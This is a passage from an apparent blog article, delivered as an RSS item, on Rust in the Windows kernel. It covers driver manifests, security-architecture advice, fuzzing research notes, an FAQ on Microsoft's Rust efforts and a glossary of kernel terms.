&lt;p&gt;{&lt;code&gt;// The shape of the manifest documented in microsoft/windows-drivers-rs README. const cargoToml = [   &quot;[package]&quot;,   &quot;name = \\&quot;example-driver\\&quot;&quot;,   &quot;version = \\&quot;0.1.0\\&quot;&quot;,   &quot;edition = \\&quot;2021\\&quot;&quot;,   &quot;&quot;,   &quot;[lib]&quot;,   &quot;crate-type = [\\&quot;cdylib\\&quot;]&quot;,   &quot;&quot;,   &quot;[profile.dev]&quot;,   &quot;panic = \\&quot;abort\\&quot;&quot;,   &quot;lto = true&quot;,   &quot;&quot;,   &quot;[profile.release]&quot;,   &quot;panic = \\&quot;abort\\&quot;&quot;,   &quot;lto = true&quot;,   &quot;&quot;,   &quot;[dependencies]&quot;,   &quot;wdk = \\&quot;*\\&quot;&quot;,   &quot;wdk-sys = \\&quot;*\\&quot;&quot;,   &quot;wdk-alloc = \\&quot;*\\&quot;&quot;,   &quot;wdk-panic = \\&quot;*\\&quot;&quot;,   &quot;&quot;,   &quot;[build-dependencies]&quot;,   &quot;wdk-build = \\&quot;*\\&quot;&quot;,   &quot;&quot;,   &quot;[package.metadata.wdk.driver-model]&quot;,   &quot;driver-type = \\&quot;KMDF\\&quot;&quot;,   &quot;kmdf-version-major = 1&quot;,   &quot;target-kmdf-version-minor = 33&quot; ].join(&quot;\\n&quot;); console.log(cargoToml);&lt;/code&gt;}&lt;/p&gt;
&lt;p&gt;KMDF 1.33-era bindings are on crates.io. WDM and UMDF are possible with &lt;code&gt;wdk-build&lt;/code&gt; modification but are not the documented happy path [@windows-drivers-rs]. The WHCP certification path is not yet greenlit for production third-party Rust drivers [@register-2025-09-04]. When &lt;em&gt;not&lt;/em&gt; to choose Rust: driver classes with mature, well-fuzzed C and C++ equivalents, small attack surfaces, and broad cross-vendor deployments where churn cost outweighs Rust&apos;s safety benefits. The first generation of production third-party Rust drivers will likely be filter drivers, virtual-device drivers, and parsers for untrusted formats -- exactly the surfaces where Microsoft&apos;s own first-party Surface drivers have shipped [@winbuzzer-surface; @thurrott-rust].&lt;/p&gt;
&lt;h3&gt;10.3 For security architects&lt;/h3&gt;
&lt;p&gt;Strategic frame: treat Rust adoption as a long-term policy lever, not a near-term mitigation. For the next five years, assume the kernel is still 95%+ C and C++. Treat in-kernel Rust as incremental risk reduction at the modules where it lands -- the GDI region engine, the EMF parser, future surfaces around metafile and graphics parsing, possibly virtualization plumbing. Treat the unsafe-FFI boundary as the audit frontier; concentrate fuzzing, code review, and CodeQL-Rust analysis there. Rely on the existing mitigations stack -- HVCI, CFG, XFG, CET, Driver Verifier, WDAC -- as defence-in-depth that Rust does &lt;em&gt;not&lt;/em&gt; replace [@learn-cfg; @learn-gs; @learn-dep]. Plan for the panic-as-BSOD class as the new DoS surface, and architect monitoring (event-log mining for &lt;code&gt;SYSTEM_SERVICE_EXCEPTION&lt;/code&gt; rates, fleet telemetry for Rust-panic markers) accordingly.&lt;/p&gt;
&lt;h3&gt;10.4 For security researchers fuzzing the Rust kernel surface&lt;/h3&gt;
&lt;p&gt;Check Point&apos;s methodology is the public reference [@checkpoint-dof]; the productive bug classes and the WinAFL + WinAFL-Pet + BugId + MemProcFS pipeline are described in §10.1 above. Two items are specific to the Rust kernel surface and worth adding here. First, integrate CodeQL&apos;s Rust query pack once 2.22.1+ ships in your build pipeline -- only 2.21.4 is WHCP-validated today [@register-2025-09-04]. Second, the empirical companion-CVE pattern: the same Check Point campaign that surfaced &quot;Denial of Fuzzing&quot; also produced several C/C++ GDI vulnerabilities (CVE-2025-30388, CVE-2025-53766, CVE-2025-47984), which suggests there is more to find in the GDI region of Win32k regardless of language [@checkpoint-drawn].&lt;/p&gt;
&lt;h2&gt;11. Frequently Asked Questions&lt;/h2&gt;

No. Microsoft&apos;s stated policy is &quot;memory-safe by default for newly written code&quot; plus targeted rewrites of high-blast-radius modules. The legacy C and C++ kernel is not being rewritten on any announced timeline. Galen Hunt&apos;s &quot;1 engineer, 1 month, 1 million lines of code&quot; framing is a research target inside Microsoft&apos;s CoreAI group; Frank X. Shaw, head of Microsoft&apos;s communications, confirmed within days of the December 2025 LinkedIn post that the company has no plan to rewrite Windows 11 using AI [@windowslatest-galen; @infoworld-not-rewriting; @register-2025-12-24].

No. Rust eliminates the memory-corruption CVE class *in the modules it covers*. It does not eliminate logic bugs, race conditions, or denial-of-service vulnerabilities. Check Point Research&apos;s &quot;Denial of Fuzzing&quot; disclosure -- patched in KB5058499 on 28 May 2025 -- is the dispositive case. Rust correctly detected an out-of-bounds access in `region_from_path_mut()` inside `win32kbase_rs.sys`; because `panic = &quot;abort&quot;` is mandatory in `no_std` kernel binaries, the response was a system-wide BSOD rather than a remote code execution [@checkpoint-dof; @kb5058499].

No. DWriteCore is user-mode code distributed through the Windows App SDK 1.2 and above. The kernel-mode Rust binary is `win32kbase_rs.sys`. The two are often conflated in secondary coverage because David Weston announced both at BlueHat IL 2023 on the same slide deck. DWriteCore is roughly 152,000 lines of Rust plus 96,000 lines of C++; `win32kbase_rs.sys` is the in-kernel piece, originally about 36,000 lines [@register-2023-04-27].

No. The public Microsoft GitHub repository is `microsoft/windows-drivers-rs`. The crate suite contains six crates named `wdk`, `wdk-sys`, `wdk-alloc`, `wdk-build`, `wdk-panic`, and `wdk-macros`. The Cargo subcommand is `cargo-wdk`. There is no &quot;WDR&quot; abbreviation in the official Microsoft naming. The companion samples repository is `microsoft/Windows-rust-driver-samples` [@windows-drivers-rs; @windows-rust-samples].

No. The originating talk was Matt Miller&apos;s at BlueHat IL in early February 2019, titled *Trends, Challenges, and Shifts in Software Vulnerability Mitigation*. The deck is in the `microsoft/MSRC-Security-Research` GitHub repository. Weston and Mark Russinovich later operationalised the figure in their own talks. The Microsoft Security Response Center re-stated it in plain prose in two essays in July 2019 [@miller-bluehat-2019; @msrc-proactive-2019; @msrc-safer-2019; @infoq-mitigating].

No. OpenVMM is a separate modular Rust VMM whose primary 2026 production deployment is as the OpenHCL paravisor for AMD SEV-SNP and Intel TDX confidential virtual machines [@openvmm-github; @phoronix-openhcl]. Hyperlight is the Azure-side production Rust micro-VMM with sub-2-millisecond cold-start times. The in-Windows Hyper-V Virtualisation Service Provider (VSP) front-end&apos;s Rust status has not been publicly announced; that is Open Problem P6 in the article&apos;s frontier section [@newstack-russinovich].
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;rust-in-the-windows-kernel-2026-field-guide&quot; keyTerms={[
  { term: &quot;win32kbase_rs.sys&quot;, definition: &quot;The first Rust-implemented Windows kernel binary; contains the Win32k GDI region/shape engine and, by 2025, parts of the EMF/EMF+ metafile parser.&quot; },
  { term: &quot;panic = abort&quot;, definition: &quot;The Rust compilation profile that converts a panic into an immediate abort rather than stack unwinding; mandatory for no_std kernel binaries.&quot; },
  { term: &quot;no_std&quot;, definition: &quot;Rust crate attribute opting out of the standard library; required for kernel binaries because std assumes OS services the kernel itself provides.&quot; },
  { term: &quot;GlobalAlloc&quot;, definition: &quot;The Rust trait for the global memory allocator; in kernel Rust it is implemented by wdk-alloc over ExAllocatePool2/ExFreePoolWithTag.&quot; },
  { term: &quot;FFI&quot;, definition: &quot;Foreign Function Interface; the ABI-crossing mechanism by which Rust calls C kernel functions. Every FFI call in kernel Rust is an unsafe block.&quot; },
  { term: &quot;CFI&quot;, definition: &quot;Control-Flow Integrity; the mitigation family (CFG, XFG, CET) that defends the control-flow graph; by construction blind to data-only attacks.&quot; },
  { term: &quot;DOP&quot;, definition: &quot;Data-Oriented Programming; Hu et al. (IEEE S&amp;amp;P 2016) proved data-only attacks are Turing-complete and invisible to every CFI variant.&quot; },
  { term: &quot;IRQL&quot;, definition: &quot;Interrupt Request Level; the Windows kernel per-CPU priority. At IRQL &amp;gt;= DISPATCH_LEVEL a panic has nowhere to go except the system bugcheck.&quot; }
]} /&amp;gt;&lt;/p&gt;
&lt;p&gt;The article&apos;s smallest claim is also its largest. Rust is in the Windows kernel today, in production, with a real binary you can list at a real path. The article&apos;s largest claim is its smallest. The realistic ten-year shape is not a Windows rewrite; it is a policy that compounds, over decades, across modules whose authors choose Rust on first contact. The most defended forward posture combines Rust for new code, targeted rewrites of high-blast-radius modules, CHERI-class hardware capabilities where silicon supports them, and the existing mitigations stack as the patient defence-in-depth backstop. Each piece is partial. The combination is the answer to the 70-percent figure that Matt Miller stood up and named in Tel Aviv in early February 2019.&lt;/p&gt;
&lt;p&gt;Now go check &lt;code&gt;C:\Windows\System32\win32kbase_rs.sys&lt;/code&gt;. It is there.&lt;/p&gt;
</content:encoded><category>rust</category><category>windows-kernel</category><category>memory-safety</category><category>win32k</category><category>msrc</category><category>cve-mitigations</category><category>secure-future-initiative</category><author>noreply@paragmali.com (Parag Mali)</author></item></channel></rss>